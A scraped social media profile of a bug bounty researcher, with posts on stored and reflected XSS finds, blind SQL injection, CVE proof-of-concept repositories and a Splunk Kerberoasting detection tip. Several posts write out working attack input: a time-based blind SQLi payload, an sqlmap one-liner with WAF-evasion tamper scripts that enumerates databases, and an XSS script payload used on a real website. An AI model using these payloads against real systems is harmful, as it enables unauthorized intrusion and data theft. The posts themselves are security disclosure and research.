mr-r00t @_mr_r00t_

Profesional de ciberseguridad especializado en las áreas de Red Team y Blue Team, análisis de Malware y jugador de CTF, representante de TryHackMe en México. youtube.com/@Mr-r00t11 México Joined May 2024

Tweets

26
Followers

75
Following

31
Likes

1K

mr-r00t @_mr_r00t_

a year ago

XSS stored in username field. Link to see the full proof of concept. youtube.com/watch?v=5jRHZe… Happy Hacking :D!!! #bugbountypoc #infosec #bugbountyhunting

0 0 0 136 0

Download Image

mr-r00t @_mr_r00t_

a year ago

I found a parameter vulnerable to an SQLi Blind and extracted the database. Payload used: X'XOR(if(now()=sysdate(),//sleep(10)//,0))XOR'X Onliner: sqlmap -r request.txt -p param --tamper="space2comment,charencode.py" --dbs --batch --level 3 --risk 3 #bugbounty #sqli

0 1 3 316 3

Download Image

Coffin @coffinxp7

a year ago

try this sqli methodlogy by me and check you results+WafBypass live video soon.. github.com/coffinxp/BSQLi

14 86 459 34K 318

Download Image

Coffin @coffinxp7

a year ago

part 2 custom BlindSqli :) paramspider+customBsqli+ghauri t.me/lostsec

10 59 375 23K 188

Download Video

Coffin @coffinxp7

a year ago

so finally wait is over i released my customBsqli tool i hope this will help you all in bbp to find timebased sqli.. github.com/coffinxp/BSQLi

27 117 513 35K 414

Coffin @coffinxp7

a year ago

can anyOne test this sqli tool its really good for manual sqli bypass but it contains malware you can check it on virualtotal and even google playprotect says its harmful if any malware expert here plz review this.. github.com/darknethaxor/D…

16 23 166 17K 93

Download Image

mr-r00t @_mr_r00t_

a year ago

I found an xss reflected on a recognized car page in Mexico. Thanks to @coffinxp7 for sharing good payloads :D Payload: ""><script>confirm("XSS Reflected!")</script> #BugBounty #XSS #Hacking

6 12 155 10K 73

Download Image

mr-r00t @_mr_r00t_

a year ago

🔥 CVE-2024-4879 - Template Injection Vulnerability in ServiceNow🔥 👨‍💻 Develop a Python script designed to detect specific vulnerabilities in ServiceNow. Mr-r00t11/CVE-2024-4879 (github.com)

0 1 3 447 2

Download Image

Cyber Advising @cyber_advising

a year ago

CVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo. .. github.com/Mr-r00t11/CVE-…

1 25 94 9K 30

Download Image

张惠倩 @momika233

a year ago

VMware vCenter - CVE-2024-37081 Proof of Concept github.com/Mr-r00t11/CVE-…

13 52 182 16K 76

blueblue @piedpiper1616

a year ago

GitHub - Mr-r00t11/CVE-2024-37081 - github.com/Mr-r00t11/CVE-…

1 11 31 3K 12

Dark Web Informer @DarkWebInformer

a year ago

🚨POC RELEASED🚨CVE-2024-34470 "A critical vulnerability has been found in HSC Mailinspector up to version 5.2.18. This vulnerability affects an unknown functionality of the file /public/loader.php. Manipulating the 'path' argument with an unknown input leads to a path traversal…

1 2 22 5K 10

Download Image

mr-r00t @_mr_r00t_

a year ago

Use a Splunk query to detect Kerberoasting by analyzing Kerberos TGS requests. These attacks involve requesting tickets for privileged accounts and cracking them offline. Identify and filter events with high TGS request volumes from specific accounts. #splunk #activedirectory